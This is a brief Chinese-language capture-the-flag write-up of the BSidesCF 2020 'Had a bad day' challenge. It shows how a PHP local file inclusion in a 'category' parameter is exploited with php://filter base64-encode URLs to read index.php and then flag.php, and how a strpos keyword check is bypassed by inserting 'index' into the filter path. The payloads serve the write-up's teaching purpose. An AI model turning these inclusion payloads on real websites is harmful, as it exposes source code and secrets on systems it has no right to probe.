[BSidesCF 2020]Had a bad day
[BSidesCF 2020]Had a bad day
拿到题目,看到有一个参数,值得我们注意
直接先测试一下
这里的报错,泄露了一个问题,一个是存在包含漏洞,另外一个就是自动会加上.php,我们直接包含index.php读出它的核心代码
1 | http://95aaf521-7ce9-4123-b435-518ddbe25adc.node5.buuoj.cn:81/index.php?category=php://filter/read=convert.base64-encode/resource=index |
1 |
|
上面就是核心代码,strpos函数检测file变量中是否含有指定的字符串,有就返回字符串所在的位置,所以我们得有上面的特定字符串才能读flag.php
php://filter/read=convert.base64-encode/index/resource=flag
写成上述包含代码即可,这个位置加入任何的字符串都不影响解析,同时绕过了检测代码,进入include函数
1 | <!-- Can you read this flag? --> |
读到flag